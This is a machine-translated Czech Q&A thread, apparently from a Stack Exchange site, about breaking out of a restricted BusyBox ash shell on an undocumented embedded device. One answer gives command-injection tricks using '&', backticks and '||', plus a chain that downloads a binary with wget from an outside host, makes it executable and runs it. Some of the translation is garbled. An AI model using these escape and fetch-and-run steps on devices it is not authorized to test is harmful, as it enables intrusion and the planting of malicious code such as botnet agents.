Testuji nějaké vložené zařízení a chybí dokumentace. Když telnetuji zařízení, dostanu pouze omezené prostředí.
BusyBox v1.19.2 (built-in shell (ash) Enter "help" for a list of built-in commands. # help Built-in commands: ------------------ . : [ [[ bg break cd chdir continue echo eval exec exit export false fg getopts hash help jobs kill local printf pwd read readonly return set shift source test times trap true type ulimit umask unset wait
Toto je omezený shell, není jasné, jak se dostat do celého shellu?
Odpovědět
- Příkaz, který potřebujete, je
chsh
(změnit shell) – je součástíshadow
neboshadow-utils
balíček. -
Můžete také ručně upravit
/etc/password
a změnit prostředí z/bin/ash
k něčemu jinému:BUT => buďte velmi opatrní, aby nový shell existoval, jinak zamknete vydejte se !!!
Budete muset být root
provést kteroukoli z výše uvedených možností.
Odpovědět
BusyBox se zaměřuje hlavně na optimalizaci velikosti a příkazy mohou být nadšené zahuštěno / zahrnuto během doby kompilace. Bez poskytnutí dalších informací se tedy zdá, že jde o velmi omezenou sadu nainstalovaných komponent .
Mělo by však být jasné, že to neznamená, že firmware zařízení nepodporuje specifické nástroje jako takové. Pokud to není úplně jasné, měli byste se podívat do sekce Časté dotazy – Co je Busybox . Některé citace by to měly zcela objasnit:
„Mohu povolit FTP?“ – „Nevíme, zda je firmware Foomatic-9000 dodáván s binárním Busybox s povoleným appletem ftpd. (Pokud máte přístup k výzvě prostředí, zkuste spustit „busybox ftpd –help“). Pokud ano, pravděpodobně ji budete moci povolit. Bohužel nevíme, jak firmware Foomatic-9000 řídí spouštění a zastavování různých služeb (v případě, že již mají ftpd služby a je právě deaktivováno), ani jak vytvořit a povolit novou službu na Foomatic-9000 (pokud dont). Zkuste to googlit. „
“ Mohu povolit SCP? “ – „Busybox-1.23.4 nemá applet scp. Foomatic-9000 však může mít nainstalovaný scp (řekněme, pokud má nainstalován Dropbear) a je možné jej povolit. Pokud ne, je možné stavět a nainstalujte si vlastní nástroj scp. Zkuste si to vyzkoušet. „
Pravděpodobně byste se měli více zaměřit na konkrétní zařízení a nainstalovaný firmware, než se soustředit na omezený sada komponent propojených se samotným Busyboxem.
Komentáře
- ok, zapomenutý příkaz cli.
Odpověď
Bohužel pro vás se dnes většina vestavěných zařízení (tj. routerů, zařízení iot atd.) snaží zabránit uživatelům v přístupu k vnitřnímu systému, aby mohli „Nezasekávejte ani jej neupravujte. Jedná se o opatření, které zabrání práci botnetů, jako je mirai, i když ochrana není vždy velmi účinná.
Omezený shell busyboxu je velmi častým scénářem. obecně, busybox vyžaduje základní shell, pokud existuje “ s jakýkoli druh uživatelského rozhraní (například telnet nebo ssh). To znamená, že je možné obejít tento shell a spouštět příkazy na základním shellu (tj. / Bin / sh je velmi běžný).
Před pokusem o únik z sandboxu busybox musíte mít v účtu následující:
- Výrobce možná upravil shell busybox tak, aby tuto techniku opravil.
- Podkladovým shellem může být (úplný nebo částečný) neprivilegovaný shell. To znamená, že i když na něm dokážete spouštět příkazy, nemusí fungovat nebo vám řeknou, že nemáte dostatečná práva.
- Podkladový shell může být také dalším omezeným shellem (není běžným)
Jakmile budete připraveni, můžete vyzkoušet následující „triky“: (Všichni spoléhají na operátory prostředí)
Zkuste věci jako
echo "Hello World" & <your command>
Tímto příkazem spustíte, pokud:
- Binární soubor je k dispozici (tedy v zásadě, pokud je nainstalován v systému)
- Shell má k němu přístup (oprávnění)
Existují i jiné metody jako:
echo "Hello World" `your command` echo "Hello World" || <your command>
A další varianty najdete přes internet nebo zkuste sami.
EDITACE: Upravuji a přidám příklad toho, jak byste mohli uniknout z prostředí a získat další provedení.
echo "Hello World" & wget yourweb.com/yourbinary echo "Hello World" & chmod yourbinary echo "Hello World" & ./yourbinary
nebo přímo ./yourbinary
To je myšlenka. Pokud jde o chmod promiň, ale nepamatuji si přesné argumenty pro udělení oprávnění ke spuštění.
EDIT2: Všiml jsem si, že tvůj shell říká ash, takže pravděpodobně busybox byl spuštěn z (automatizovaného) skriptu spuštěného z popela. V tomto případě byste chtěli přímo spouštět příkazy na / bin / ash shell.